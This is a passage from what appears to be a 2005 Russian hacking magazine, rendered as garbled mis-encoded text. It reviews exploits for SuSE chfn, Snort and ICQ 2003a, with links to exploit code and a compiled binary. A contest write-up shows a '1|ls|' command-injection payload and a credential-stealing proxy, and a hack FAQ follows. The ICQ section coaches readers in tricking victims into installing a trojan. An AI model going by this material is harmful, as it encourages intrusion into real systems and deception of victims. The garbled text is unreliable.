íÿë ñâîé áîòíåò. Ñàéò ïîñåùàëà êó÷à ëþäåé, è ó ìíîãèõ áûëè ñòàðûå
áðàóçåðû â äûðî÷êó[X
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http://mp3.samsung.ru/
**MMPP33 MASSIVE ATTACK

Êîíêóðñ MP3 MASSIVE ATTACK çàâåðøåí!
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SUSE LINUX PWDUTILS "CHFN" UTILITY
LOCAL PRIVILEGE ESCALATION EXPLOIT

[îïèñàíèå] Îïåðàöèîííàÿ ñèñòåìà SuSE
Linux âñåãäà ñëàâèëàñü ñâîåé ñòàáèëüíîñòüþ
è áåçîïàñíîñòüþ. Õîòÿ áû ïîòîìó, ÷òî ýòî
êîììåð÷åñêàÿ OS. Íî íå òàê äàâíî õàêåðû
íàøëè îïàñíóþ áðåøü â SuSE. Îøèáêà çàêðà-
ëàñü â ïàêåòå pwdutils, â ïðèëîæåíèè chfn.
Äàííûé áèíàðíèê ïî óìîë÷àíèþ èìååò ñóèä-
áèò, à åãî ïðåäíàçíà÷åíèå � èçìåíåíèå èí-
ôîðìàöèè î ïîëüçîâàòåëå. Â èñõîäíèêàõ ýòî-
ãî ôàéëà áûëî íàéäåíî ïåðåïîëíåíèå áóôå-
ðà, âåäóùåå ê ñëåäóþùåìó: ëþáîé ïîëüçîâà-
òåëü ìîã äîïèñàòü â êîíåö /etc/shadow èíôîð-
ìàöèþ î ëåâîì àêêàóíòå, à çàòåì ïðîèçâåñòè
ñóèä íà íåãî. Ñîáñòâåííî, ýòî è ïðîäåëûâàåò
õèòðûé ýêñïëîéò. Ñïåðâà ïðîèñõîäèò õèòðàÿ
äîçàïèñü äàííûõ â /etc/shadow, à çàòåì çàïóñ-
êàåòñÿ /bin/su. Â èòîãå õàêåð íàäåëÿåòñÿ 
ñàìûì íèçêèì UID'îì :).

[çàùèòà] Ðàçðàáîò÷èêè ñèñòåìû ñðàçó æå îò-
ðåàãèðîâàëè íà óÿçâèìîñòü, âûïóñòèâ ïàò÷è äëÿ
êàæäîé óÿçâèìîé âåðñèè SuSE. Ïîñìîòðåòü âíó-
øèòåëüíûé ñïèñîê çàïëàòîê ìîæíî íà ñòðàíèöå
http:// l ists.suse.com/archive/suse-security-
announce/2005-Nov/0002.html.

[cñûëêè] Çàáèðàé ýêñïëîéò, íàïèñàííûé íà
ÿçûêå BASH, ñî ñòðàíèöû www.securitylab.ru/poc/
extra/241883.php. Èñòîðèÿ îøèáêè è åå òåõíè÷åñ-
êèå ìîìåíòû ïîêà íå ðàñêðûâàþòñÿ.

[çëîêëþ÷åíèå] SuSE Linux î÷åíü ïîïóëÿðíàÿ
îïåðàöèîíêà ñðåäè Linux'îèäîâ, à òåïåðü è ñðå-
äè ïîëüçîâàòåëåé Novell :). Ïîýòîìó ñìåþ ïðåä-
ïîëîæèòü, ÷òî ÷èñëî ëîêàëüíûõ ïîâûøåíèé
ïðàâ áóäåò óâåëè÷èâàòüñÿ ñ êàæäûì äíåì. Âñåõ
àäìèíîâ SuSE, ÷èòàþùèõ îáçîð, ÿ ìûñëåííî
ïðèçûâàþ ïîñòàâèòü ñïàñèòåëüíóþ çàïëàòêó.

[greets] Íà ýòîò ðàç îòëè÷èëñÿ áàãîèñêàòåëü
Hunger (susechfn@hunger.hu). Ïîæàëóé, ýòî åãî
ïåðâûé âûäàþùèéñÿ ýêñïëîéò, ïîýòîìó äðóæ-
íî ïîáëàãîäàðèì «ãîëîäíîãî õàêåðà».

SNORT <= 2.4.2 BACKORIFICE REMOTE
BUFFER OVERFLOW EXPLOIT

[îïèñàíèå] Åñëè òû ïîìíèøü, â íåäàâíåì îá-
çîðå ýêñïëîéòîâ ÿ îïèñûâàë óÿçâèìîñòü â èçâå-
ñòíîé IDS ïîä íàçâàíèåì Snort. Åñëè â ïðîøëîé
îøèáêå Snort ñòðàäàë ïåðåïîëíåíèåì ïðè
âêëþ÷åííîì ðåæèìå îòëàäêè, òî òåïåðåøíèé
áàã âûäàåò ñåáÿ ïðè ëþáûõ ðåæèìàõ çàïóñêà.
Îøèáêà ïåðåïîëíåíèÿ âîçíèêàåò ïðè îáðàáîò-
êå òàê íàçûâàåìûõ Back Orifice ïàêåòîâ. Çëîó-
ìûøëåííèê ìîæåò ñôîðìèðîâàòü êðèâîé ïàêåò
ñ íåêîððåêòíûì ïîëåì äëèíû, ïîýòîìó ñòàíî-
âèòñÿ âîçìîæíûì âûïîëíèòü ïðîèçâîëüíûé
êîä. Áàãîèñêàòåëè íàïèñàëè ðàáî÷èé ýêñïëîéò,
âûïîëíÿþùèé bind øåëëà íà ïîðòó 31337 óÿç-
âèìîé ñèñòåìû.
Â ýêñïëîéòå ïðåäñòàâëåíû äâå öåëè ñ ðàçíûìè
ðåæèìàìè òåñòèðîâàíèÿ. Äîñòàòî÷íî âûáðàòü
îäíó èç íèõ (êàê ïðàâèëî ïåðâóþ), óêàçàâ â êà÷å-
ñòâå ïàðàìåòðîâ ip-àäðåñ è íîìåð öåëè. Åñëè âñå
ñäåëàíî âåðíî, íà áàæíîé ñèñòåìå îòêðîåòñÿ
ïîðò 31337 ñ èíòåðïðåòàòîðîì /bin/bash âíóòðè.

[çàùèòà] Íà îôèöèàëüíîì ñàéòå Snort âûëî-
æåíà ïîñëåäíÿÿ âåðñèÿ IDS � Snort-2.4.3. Â
äàííîì ðåëèçå áðåøü ïîëíîñòüþ èñïðàâëåíà.

[cñûëêè] Ðàáî÷èé ýêñïëîéò íàõîäèòñÿ ïî àäðåñó
www.securitylab.ru/poc/extra/241424.php. Îïèñà-
íèå òåõíè÷åñêèõ ìîìåíòîâ îøèáêè ìîæíî íàéòè
â èñõîäíîì êîäå ýêñïëîéòà, ëèáî íà ñòðàíèöå
www.securitylab.ru/vulnerability/ source/241240.php.

[çëîêëþ÷åíèå] Çà òåêóùèé ãîä ýòî óæå âòî-
ðîé óäàð ïî Snort. Ó÷èòûâàÿ òîò ôàêò, ÷òî ïðî-
äóêò ÿâëÿåòñÿ ñèñòåìîé îáíàðóæåíèÿ àòàê, ðå-
ïóòàöèÿ ïðîèçâîäèòåëÿ ñèëüíî óïàëà. Òåïåðü ó
çëîóìûøëåííèêà ïîÿâèëîñü öåëûõ äâå ëàçåéêè
â «öåíòð ñàìîé çàùèùåííîé ñèñòåìû».

[greets] Áðåøü áûëà âûÿâëåíà èçâåñòíîé 
êîìàíäîé Internet Security Systems. Ïîñëå ïóá-
ëèêàöèè ñâåäåíèé îá óÿçâèìîñòè ïîïóëÿðíàÿ
êîìàíäà THC (www.thc.org) íàïèñàëà ìíîãîôó-
íêöèîíàëüíûé ýêñïëîéò.XINE-LIB REMOTE 

ICQ 2003A 
SHELLCODED EXPLOIT

[îïèñàíèå] Íå òàê äàâíî õàêåðàì óäàëîñü
íàéòè âåñüìà îðèãèíàëüíóþ îøèáêó â ICQ 2003a.
Ýòî ïðîñòîå ïåðåïîëíåíèå áóôåðà â êëèåíòå,
íèêàê íå îòíîñÿùååñÿ ê ïðîòîêîëó ICQ. Âñå, ÷òî
äåëàåò ýêñïëîéò, � ãåíåðèðóåò äâà çíà÷åíèÿ
(First è Last Name). Ïðè ïîäñòàíîâêå ýòèõ äàííûõ
â ïîëå ïîèñêà íîâûõ ïîëüçîâàòåëåé, ïðîèçîéäåò
çàãðóçêà è çàïóñê ôàéëà, óêàçàííîãî â êà÷åñòâå
ïàðàìåòðà ê ñïëîèòó. Äðóãèìè ñëîâàìè, äëÿ
çàðàæåíèÿ ëàìåðà òðîÿíîì õàêåðó íóæíî
âûïîëíèòü ñëåäóþùèå øàãè:

Çàëèòü íà óäàëåííûé ñåðâåð òðîÿíà, 
à çàòåì çàïóñòèòü ýêñïëîéò 
ñ ïàðàìåòðîì-ññûëêîé íà âðåäîíîñíûé ôàéë.

Íàéòè óøàñòîãî ëàìåðà è íàâåøàòü 
åìó ëàïøó íà óøè ïðî íîâóþ ôè÷ó â ICQ, 
à ïîòîì íåíàâÿç÷èâî ïîïðîñèòü 
çàïîëíèòü äâà ïîëÿ â «ïîèñêå ïîëüçîâàòåëåé».
Ïðèñîåäèíèòüñÿ ê êîìïüþòåðó æåðòâû 
è íàñëàæäàòüñÿ :).

[çàùèòà] Óÿçâèìîñòü çàìå÷åíà â êëèåíòàõ ICQ
2003a è ïðåäûäóùèõ âåðñèÿõ. Â ïîñëåäóþùèõ ðå-
ëèçàõ áðåøü îòñóòñòâóåò. Íèêàêèõ çàïëàòîê äëÿ
óÿçâèìûõ êëèåíòîâ âûïóùåíî íå áûëî.

[cñûëêè] Ýêñïëîéò íàõîäèòñÿ íà ñòðàíèöå
www.securitylab.ru/poc/extra/241544.php. Äëÿ ëåíè-
âûõ ëþäåé èìååòñÿ òàêæå îòêîìïèëèðîâàííûé âà-
ðèàíò: http://mydoom-v.jino-net.ru/icq_bof.exe.

[çëîêëþ÷åíèå] Äëÿ ýêñïëóàòèðîâàíèÿ æåðò-
âû íåîáõîäèìî îáëàäàòü íàâûêàìè ñîöèàëüíîé
èíæåíåðèè. Â òåïåðåøíåå âðåìÿ äîâîëüíî
ñëîæíî íàéòè ëàìåðà, êîòîðûé ñ ðàäîñòüþ ââå-
äåò íåïîíÿòíûå äàííûå â êàêóþ-òî ôîðìó. 
Îäíàêî åùå íå ïåðåâåëèñü èíäèâèäóóìû, óìåþ-
ùèå óáåæäàòü äðóãèõ ëþäåé. Åñëè òû îòíîñèøü-
ñÿ ê òàêèì ëè÷íîñòÿì � ýêñïëîéò äëÿ òåáÿ :).

[greets] Èäåÿ áàãà è ýêñïëîéò ïîëíîñòüþ
ïðèíàäëåæàò õàêåðó ATmaCA (www.atmacasoft.com).

ãåíåðàöèÿ êëþ÷åâûõ ïîëåéïîêîðåíèå Suse Linux öåíòð çàùèùåííîé ñèñòåìû

EEXXPPLLOOIITTSS RREEVVIIEEWW
Äîêó÷àåâ Äìèòðèé aka Forb (forb@real.xakep.ru)
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Â íîÿáðüñêîì êîíêóðñå òåáå íàäî áûëî âçäðþ÷èòü òîðãîâöåâ
ñïëîèòàìè, êîòîðûå òóñîâàëèñü íà irc-êàíàëå #xa (dal.net.ru). Íà
ýòîì êàíàëå æèë áîò-áàðûãà ñ íèêîì armen, êîòîðûé ïðèíèìàë
êîìàíäû ñòàíäàðòíûì îáðàçîì: !cmd.

Íàéòè áàã íå ñîñòàâëÿëî òðóäà. Ïîëó÷èâ ñïèñîê âñåõ äîñòóïíûõ
êîìàíä (!help), íóæíî áûëî çàðåãèñòðèðîâàòüÿñ ó áîòà è ïîïû-
òàòüñÿ ïîëó÷èòü îïèñàíèå êîíêðåòíîãî ñïëîéòà ïðè ïîìîùè êî-
ìàíäû !desc. Íåñëîæíî áûëî çàìåòèòü è äîãàäàòüñÿ, ÷òî ïàðà-
ìåòð ñ èäåíòèôèêàòîðîì � ýòî íå ÷òî èíîå, êàê èìÿ ôàéëà ñ îïè-
ñàíèåì ñïëîèòà. Ñîîòâåòñòâåííî, ïîäñòàâèâ ÷òî-òî âðîäå 1|ls|,
ìîæíî áûëî âûïîëíÿòü íà ñåðâåðå êîìàíäû.

Íî âîò íåçàäà÷à: êîìàíäû ñ ïðîáåëàìè íå âûïîëíÿëèñü, ñòðîêà
îãðàíè÷èâàëàñü ïÿòüþ ñèìâîëàìè, à âñå ëèøíåå îòðåçàëîñü.
Çíà÷èò, çàìåíèòü ïðîáåë $IFS íå ïîëó÷èòñÿ :(. Íî ó òåáÿ åùå îñ-
òàâàëàñü âîçìîæíîñòü ÷èòàòü ôàéëû íà ñåðâåðå è ñìîòðåòü ñî-
äåðæèìîå äèðåêòîðèé. Íàïðèìåð, ìîæíî áûëî ïîñìîòðåòü èñ-
õîäíèê áîòà � ôàéëà te.pl.

Âíóòðè ñîðöà ëåãêî áûëî çàìåòèòü, ÷òî ïîñëå îïëàòû çàêàçà, êëèå-
íòöó ñîîáùàåòñÿ, ãäå èìåííî îí ìîæåò ñêà÷àòü ñïëîèò, òàê êàê äà-
åòñÿ ññûëêà. Ïåðåéäÿ ïî íåé, òû îáëàìûâàëñÿ: íóæåí áûë ïàðîëü.
Íà ñòðàíèöå ñ îøèáêîé 401 áûëî ìûëî homsa.toft@gmail.com.

Ïîîáùàâøèñü ñ áàðûãîé, ìîæíî áûëî ïîíÿòü, ÷òî åìó íåîáõîäèìû
ïðîêñèêè, è îí áóäåò ðàä, åñëè òû äàøü åìó õîòÿ áû îäíó øòó÷êó.
Ýòî áûëî êëþ÷åâîé âåùüþ: íåîáõîäèìî áûëî ïîäíÿòü ëåâûé ïðîê-
ñèê, êîòîðûé ëîãèðóåò âñþ ïåðåäàâàåìóþ ÷åðåç íåãî èíôîðìàöèþ,
è ïîäñóíóòü åãî áàðûãå. Ïîñëå ýòîãî íåçàäà÷ëèâûé òîðãîâåö ïîäê-
ëþ÷àëñÿ ê ñâîé áàçå, è òû âïîëíå ìîã âûóäèòü åãî ïàðîëè.

Êàê èçâåñòíî, ïðè èñïîëüçîâàíèè http-àóòåíòèôèêàöèè ñåð-
âåðó ïåðåäàåòñÿ ñòðîêà login:password, çàêîäèðîâàííàÿ
base64. Â ëîãàõ íóæíî áûëî îòûñêàòü ñòðî÷êó íàïîäîáèå
ýòîé aG9tc2E6Y29vbGhvbXNh==, ïîñëå ÷åãî äåêîäèðîâàòü
åå, ê ïðèìåðó, php-ôóíêöèåé imap_base64() è ïîëó÷èòü plain-
text-ëîãèí ñ ïàðîëåì.

Ïîáåäèòåëÿ â ýòîì ìåñÿöå öåëûõ äâà: ïî÷òè îäíîâðåìåííî êîí-
êóðñ ïðîøëè bmHZ è BOM SHANKAR. Ïîçäðàâëÿåì ýòèõ ïàðíåé,
êîòîðûå âûèãðàëè ýêñêëþçèâíûé ìåäîñìîòð îò Ñàøè Ëîçîâñêî-
ãî è ïî 50 ãðàììîâ ÷èñòåéøåãî ìåäèöèíñêîãî ñïèðòà.
Àíîíñ íîâîãî êîíêóðñà èùè â äâàäöàòûõ ÷èñëàõ íà ôîðóìå
forum.xakep.ru.
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Q: ÊÊàê WWarCraft ïïîíèìàåò, ÷÷òî ÿÿ ïïîëüçóþñü ÷÷èòàìè?
A: Äîëãîå âðåìÿ þçåðû âîçìóùàëèñü ïðåâîñõîäñòâîì
îòäåëüíûõ èãðîêîâ, êîòîðûå íå ñòåñíÿëèñü èñïîëüçîâà-
íèÿ ïðîãðàììîê-cheater�îâ äëÿ îáðåòåíèÿ âñåâîçìîæíûõ
áëàã èãðîâîé öèâèëèçàöèè. Blizzard, ñîçäàòåëü ïîñëåä-
íåé World of Warcraft ïîøëà íà âñòðå÷ó îñîáî ïåðåæèâà-
þùèì þçâåðàì è âûïóñòèëà ñâîé spyware � ïðîãðàììó-
øïèîí, êîòîðàÿ ïîñòàâëÿåòñÿ âìåñòå ñ îñíîâíîé èãðîé è
íàçûâàåòñÿ Warden. Îíà èçó÷àåò òâîè ïðîöåññû, âçâå-
øèâàåò çàãðóæåííîñòü ïàìÿòè è îãðàíè÷èâàåò òâîé äîñ-
òóï ê ÷èòàì. Ãîòîâûõ ñðåäñòâ ïîäàâëåíèÿ ïðîãè ÿ ïîêà íå
âèäåë, íî ìîãó íàöåëèòü ïîòåíöèàëüíîãî ñîçäàòåëÿ îíîé
íà ïðîãó The Governor, êîòîðàÿ ïîêàçûâàåò âñå äåéñòâèÿ
Warden�a � www.rootkit.com/newsread.php?newsid=371. 

Q: ××òî ççà ððàäèîïåðåäàò÷èêè ààìåðèêàíöû ññîáðàëèñü ââøè-
âàòü ââ ïïàñïîðòà ääëÿ óóâåëè÷åíèÿ ssecure�íîñòè?
A: Â÷åðà îíè íà÷àëè òðåáîâàòü ñäà÷ó îòïå÷àòêîâ ïàëüöåâ
äëÿ âñåõ ãîñòåé Àìåðèêè, à ñåãîäíÿ óæå ïëàíèðóþò âíåäðÿòü
RFID-÷èïû, ãäå áóäåò ðàñïîëàãàòüñÿ âñÿ ïàñïîðòíàÿ èíôîð-
ìàöèÿ î âëàäåëüöå. Äàííûå ìîæíî áóäåò ñ÷èòàòü ñïåöèàëü-
íûì ðàäèîñêàíåðîì. Íà íåäàâíåé security-êîíôåðåíöèè
îäèí èç èññëåäîâàòåëåé ïîêàçàë íàãëÿäíî, ÷òî èíôîðìà-
öèþ î ïàñïîðòå ìîæíî ýëåìåíòàðíî ñ÷èòûâàòü: ÷óâàê ïðè
ïîìîùè íåñëîæíîãî îáîðóäîâàíèÿ íàó÷èëñÿ ýòî äåëàòü ñà-
ìîñòîÿòåëüíî. Òàê ÷òî çàùèùåííîñòü ôîðìàòà ïåðåäà÷è
äàííûõ âûçûâàåò ñåðüåçíûå âîïðîñû. Íå ìåíüøå âîïðîñîâ
âîçíèêàåò è ó ïðàâîçàùèòíèêîâ, êîòîðûå âèäÿò â íîâîé ðàç-
ðàáîòêå âîçìîæíîñòü êîíòðîëÿ ãðàæäàí è ìàðøðóòîâ èõ ïå-
ðåäâèæåíèé. Ïåðâûìè ïîäîïûòíûìè ñòàíóò ïðàâèòåëü-
ñòâåííûå ðàáîòíèêè è äèïëîìàòû äëÿ ïåðåäà÷è ýñòàôåòû
ïðîñòûì ñìåðòíûì â ñëåäóþùåì ãîäó.

Q: ÊÊòî òòàêèå hhoneymonkeys? 
Îíè êêàê-òòî ççàìåøàíû ââ wweb-òòðîÿíèíãå?
A: Íå òîëüêî ìèøêè ëþáÿò ìåä, íî è packet monkeys, òî åñòü
script kiddies. Ýòè õàêåðû-áàêëàíû æàäíû äî ëåãêèõ ìèøå-
íåé: íàïðèìåð, íåïàò÷åííûõ Windows XP êîìïüþòåðîâ. Äàí-
íûé êîíöåïò ñòàë ëîãè÷åñêèì ïðîäîëæåíèåì òåõíîëîãèè
honeypots, òî åñòü ñèñòåì ñåðâåðîâ, êîòîðûå áûëè ðàçáðîñà-
íû ïî Ñåòè è ïðèìàíèâàëè çëîóìûøëåííèêîâ, à ÷àùå âñåãî
� åãî òâîðåíèé, ñåòåâûõ ÷åðâåé.
ß íèêîãäà íå ñëûøàë òåðìèí «òðîÿíèíã», íî ðàç óæ òû îïå-
ðèðóåøü èìåííî èì, ïðèäåòñÿ îòâåòèòü òåáå íà âîïðîñ, õîòü
ÿ è ìîã ñêàçàòü, ÷òî íå ïîíÿë, î ÷åì òû ãîâîðèøü :).
Êîìïàíèÿ Microsoft Cybersecurity and Systems Management
Research Group (àâòîðû êîíöåïòà «ìåäîâûõ îáåçüÿí») îðãà-
íèçîâàëè áîëüøóþ Ñåòü èç äûðÿâûõ êîìïüþòåðîâ, êîòîðûå
ñåðôÿò Ñåòü, ïðûãàÿ ñ ñàéòà íà ñàéò, ãäå ìîãëè ïðèòàèòüñÿ
çàðàæåííûå ñòðàíèöû. Çàðàçà îñåäàåò íà êîìïüþòåðàõ ñïå-
öîâ äëÿ äàëüíåéøåãî èçó÷åíèÿ è äåòàëüíîãî àíàëèçà èõ ðà-
áîòû. Îñîáåííî àêòèâíî MS íàñåäàåò íà ñïàìåðîâ, êîòîðûå,
ïîñëå âûÿâëåíèÿ, îêàçûâàþòñÿ ïðèãëàøåííûìè â çàë ñóäà.
Áîëåå $5M êîíòîðà îòáàøëÿëà íà ýòó àôåðó. Â Ñåòè îáåçü-
ÿí ðàñïîëàãàþòñÿ êîìïû ðàçíîãî óðîâíÿ update�íîñòè, äëÿ
òî÷íîãî âûÿâëåíèÿ àïïåòèòîâ èíòåðíåò-áàíäèòîâ è ïðèöå-
ëîâ íà êîíêðåòíûå óÿçâèìîñòè. Çà áîëåå äåòàëüíûì îïèñà-
íèåì honey-êîíöåïòà, ðåêîìåíäóþ íàëàäèòüñÿ íà ñàéò
www.honeynet.org. Ñòîèò îòìåòèòü, ÷òî MS áûëà âîâñå íå
ïåðâîé, è äàæå ñàì àâòîð óñïåë ïðèíÿòü ïàðó âèçèòîâ îò ðî-
áîòîâ Symantec â ñâîèõ ñåòÿõ 5 ëåò íàçàä.
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ÁÓÄÜ ÊÎÍÊÐÅÒÍÛÌ È ÇÀÄÀÂÀÉ ÊÎÍÊÐÅÒÍÛÅ ÂÎÏÐÎÑÛ!
ÑÒÀÐÀÉÑß ÎÔÎÐÌÈÒÜ ÑÂÎÞ ÏÐÎÁËÅÌÓ ÌÀÊÑÈÌÀËÜÍÎ
ÄÅÒÀËÜÍÎ ÏÅÐÅÄ ÏÎÑÛËÊÎÉ Â HACK-FAQ. ÒÎËÜÊÎ ÒÀÊ
ß ÑÌÎÃÓ ÄÅÉÑÒÂÈÒÅËÜÍÎ ÏÎÌÎ×Ü ÒÅÁÅ ÎÒÂÅÒÎÌ, ÓÊÀ-
ÇÀÒÜ ÍÀ ÂÎÇÌÎÆÍÛÅ ÎØÈÁÊÈ. ÎÑÒÅÐÅÃÀÉÑß ÎÁÙÈÕ
ÂÎÏÐÎÑÎÂ ÂÐÎÄÅ «ÊÀÊ ÂÇËÎÌÀÒÜ ÈÍÒÅÐÍÅÒ?», ÒÛ
ËÈØÜ ÏÎÒÐÀÒÈØÜ ÌÎÉ È ÑÂÎÉ ÏÎ×ÒÎÂÛÉ ÒÐÀÔÈÊ.
ÒÐßÑÒÈ ÈÇ ÌÅÍß ÔÐÈØÊÈ (ÈÍÅÒ, ØÅËËÛ, ÊÀÐÒÛ) � 
ÍÅ ÑÒÎÈÒ, ß ÑÀÌ ÆÈÂÓ ÍÀ ÃÓÌÀÍÈÒÀÐÍÓÞ ÏÎÌÎÙÜ!

hack_FAQ comments:
SideX:
hack-faq@real.xakep.ru
_vzlom

hack-faq

__gorlum



Q: ÊÊàêîé ññàìûé ááîëüøîé ááîòíåò óóäàëîñü ññîáðàòü?
Ïî÷åìó ïïîñòîÿííî ïïðîõîäÿò ððàçíûå ööèôðû?
A: Âîïðîñ íàïîìèíàåò «Êòî áîëüøå âñåõ óêðàë äå-
íåã?». Òîò, êòî äîñòàòî÷íî êîâàðåí è óìåí, íèêîãäà
íå îáíàðóæèò ôàêòà ñâîåãî îáîãàùåíèÿ èëè åãî èñ-
òî÷íèêîâ. «Óäàëîñü ñîáðàòü» � ïîíÿòèå î÷åíü îòíî-
ñèòåëüíîå, ïîñêîëüêó îäíî äåëî ïðåäïîëàãàòü, ÷òî
ñòîëüêî-òî è ñòîëüêî-òî êîìïüþòåðîâ íàõîäèòñÿ ïîä
êîíòðîëåì îäíîãî ÷åëîâåêà è ñîâñåì äðóãîå � äîêà-
çàòü ïîäîáíîå â ñóäåáíîì ïîðÿäêå. Ìå÷òà î öåíòðà-
ëèçîâàííîì êîíòðîëå íåñìåòíûõ òûñÿ÷ «çîìáàêîâ»
òåðÿåò àêòóàëüíîñòü, è ñîâðåìåííûå ñåòåâûå «ðà-
áîâëàäåëüöû» ÷àùå è ÷àùå íå îñòàâëÿþò êàêîé-ëè-
áî ñâÿçè ìåæäó èìåþùèìèñÿ áîòíåòàìè. Çäåñü ïðè-
ñóòñòâóåò ñòðàõ íå òîëüêî ïåðåä ÷åêèñòàìè è IT-secu-
rity êîìïàíèÿìè, íî è òåìè æå êîëëåãàìè ïî öåõó, êî-
òîðûå íå óïóñêàþò ñëó÷àåâ ïåðåâåñòè ÷óæèõ áîòîâ â
ñâîå ñîáñòâåííîå ïîëüçîâàíèå. Êòî-òî íàìåðåííî
äåðæèò ñâîè áîòíåòû ðàçäåëüíî äëÿ ïîñëåäóþùåé
ïðîäàæè èëè ñäà÷è â àðåíäó. Ñàìûé áîëüøîé áîò-
íåò, èíôà î êîòîðîì ê íàñòîÿùåìó ìîìåíòó ïîëó÷è-
ëà øèðîêóþ îãëàñêó, ñîñòîÿë èç 1,5 ìèëëèîíà êîì-
ïîâ, êîòîðûå íàõîäèëèñü ïîä êîíòðîëåì êðèìèíàëü-
íîãî òðèî èç Ãîëëàíäèè. Â ñàìîì íà÷àëå èì ïðèïè-
ñûâàëè âëàäåíèå 100 000 êîìïüþòåðîâ, íî ïîçæå
âûÿñíèëîñü, ÷òî öèôðà çíà÷èòåëüíî áîëüøå.

Q: ÌÌîæíî ëëè ääîâåðÿòü ññèñòåìå 
õðàíåíèÿ ïïàðîëåé ââ OOracle?
A: Îòäåëüíûå òåìíûå ëè÷íîñòè íàñòîëüêî ãëóáîêî
óõîäÿò â õàêèíã, ÷òî äàæå óñïåøíî ñâåðãàþò íåçûáëå-
ìûå ïîñòóëàòû áåçîïàñíîñòè. Ñîâñåì íåäàâíî èíñòè-
òóò SANS ñîòðÿñ ìîçãè ïîêëîííèêîâ Oracle, êîãäà
ðàñêðûë ìåõàíèçì ãåíåðàöèè ïàðîëåé äëÿ ýòîé áàçû
äàííûõ. Â õîäå èññëåäîâàíèé âûÿñíèëàñü öåëàÿ ñå-
ðèÿ ñëàáîñòåé, êîòîðûå ïîçâîëÿþò äîñòàòî÷íî áûñò-
ðî ðàñêðûâàòü ïîëüçîâàòåëüñêèé ïàðîëü. Ê ïðèìåðó,

íåñëîæíî óáåäèòüñÿ â òîì, ÷òî «îòïå÷àòîê» ïàðîëÿ íà
ñàìîì äåëå èçãîòàâëèâàåòñÿ èç ñòðîêè
username.password, ñêîíêàòåíèðîâàííûõ ëîãèíà è ïà-
ðîëÿ. Òàê æå ëåãêî ìîæíî ïðîâåðèòü, ÷òî ñèñòåìà àó-
òåíòèôèêàöèè íå÷óòêà ê ðåãèñòðó, õýø äëÿ ïàðîëåé
Apple è appLE áóäåò îäèíàêîâûì. Òàê æå ñïåöèàëèñ-
òû Ñàíñ íàøëè åùå íåñêîëüêî ñëàáîñòåé â ñàìîì àë-
ãîðèòìå, î ÷åì ïîäðîáíî íàïèñàëè â äîêóìåíòå,
ïðåäñòàâëåííîì íà ñàéòå îðãàíèçàöèè.
Sans.org � äàëåêî íå øïàíà, è äåéñòâîâàëè âïîë-
íå êîððåêòíî: äàëè ðàçðàáîò÷èêàì íåñêîëüêî äíåé
íà óñòðàíåíèå ïðîáëåìû. Ñóäüáà ïîïðàâêè ïîêà íå
èçâåñòíà, ðàâíî êàê è íå äîñòóïíû êîììåíòàðèè
èíæåíåðîâ Oracle. Ïðîáëåìà ñòîéêîñòè ïàðîëåé
îêàçûâàåòñÿ â àâàíãàðäå, ñâåæèé ñêàíäàë ñî
âñêðûòèåì øêîëüíîé ÁÄ â Êàëèôîðíèè � ÿðêèé
òîìó ïðèìåð. Â îáùåì, îòïå÷àòêè ïàëüöåâ, êàê
ñðåäñòâî èäåíòèôèêàöèè, � íà ïîâåñòêå äíÿ.

Q: ÏÏîëîìàë ííåñêîëüêî WWi-FFi-ññåòåé èè ññòîëêíóëñÿ ññ òòà-
êîé ïïðîáëåìîé: ëëåíü êêàæäûé ððàç ððóêàìè ïïðîïèñû-
âàòü ââñå ííàñòðîéêè. DDHCP ååñòü ííå ââåçäå! ÌÌîæíî êêàê-
òî ààâòîìàòèçèðîâàòü ïïðîöåññ?
A: Ñóäÿ ïî âñåìó, òàêîå ïîíÿòèå, êàê laptop roaming òå-
áå íå çíàêîìî. À âåäü ñóùåñòâóåò öåëàÿ ñåðèÿ ðåøå-
íèé, ïîçâîëÿþùèõ «íà ëåòó» ïåðåêëþ÷àòü òâîé íîóò ñ
ñåòêè íà ñåòêó. Çà ïðèìåðîì äàëåêî õîäèòü íà íàäî:
MultiNetworkManager (www.globesoft.com) ïîçâîëèò òå-
áå àâòîìàòèçèðîâàòü ïåðåêëþ÷åíèå ìåæäó ñåòÿìè,
êîãäà òû ïåðåìåùàåøüñÿ ñ ðàáîòû äîìîé, ïî äîðîãå
ðàáîòàÿ âî âçëîìàííûõ ñåòÿõ :). Åñëè ïðîãðàììà íå
ïðèäåòñÿ òåáå ïî âêóñó, òî íà ñàéòå èìååòñÿ ðàçóì-
íûé ëèêáåç ïî âîïðîñó íîóòáó÷íîãî ðîóìèíãà; çíàòî-
êè ñìîãóò ñîáðàòü ïîäîáíîå ðåøåíèå íà êîëåíêå, çà-
þçàâ ñèñòåìíûå ñêðèïòû. Ëåêàðñòâ îò æàäíîñòè äëÿ
âåðñèè 8.* ïîêà íå âûøëî, íî ýòî íå ìåøàþò íàõàëÿ-
âó þçàòü ñåäüìóþ âåðñèþ ïðîãðàììû.

Q: ××åì óóäîáíåå ââñåãî ððåäàêòèðîâàòü HHEX-ôôàéëû? ÄÄî
ñèõ ïïîð þþçàþ êêàêóþ-òòî ääóðàöêóþ ïïðîãðàììó ïïîä
DOS. ÕÕî÷åòñÿ ÷÷åãî-òòî ïïîíîâåå!
A: Ìîãó ïðåäëîæèòü òåáå áåñïëàòíûé óíèâåðñàëüíûé
ðåäàêòîð PSPad Editor (www.pspad.com). Íåñìîòðÿ íà
íàçâàíèå, ñîçâó÷íîå ñ PlayStation, ê ýòîé èãðîâîé ìà-
øèíå ïðîãðàììà íèêàêîãî îòíîøåíèÿ íå èìååò, îäíà-
êî íàäåëÿåò òåáÿ áîëüøèìè âîçìîæíîñòÿìè. Äåëî â
òîì, ÷òî ñîôòèíà äåéñòâèòåëüíî óíèâåðñàëüíà è óìå-
åò ðàáîòàòü è ïîäñâå÷èâàòü íå òîëüêî HEX-ôàéëû, íî
è êîä VB, C++, SQL, PHP, ASP è Python. Ìîæíî ïîäãî-
íÿòü íàñòðîéêè ñèíòàêñèñà ïîä ñâîè, ñàìûå ëè÷íûå
íóæäû. Âåá-ìàñòåðàì îñòàâèëè óäîáíûé HTML-ðå-
äàêòîð ñî âñòðîåííûì ftp-êëèåíòîì äëÿ ìîìåíòàëüíî-
ãî âëèâà ñâîèõ øåäåâðîâ íà web. Âàðåç ïîëó÷àåòñÿ
ôðèøíûì, ïîðîé òîðìîçèò ñ îáíîâëåíèÿìè, íî óäîá-
ñòâà íå òåðÿåò èç-çà îáîçíà÷åííûõ âûøå ïðàâèëüíûõ
äåôîëòîâûõ íàñòðîåê. Íåäàâíî áûë ïðîèçâåäåí
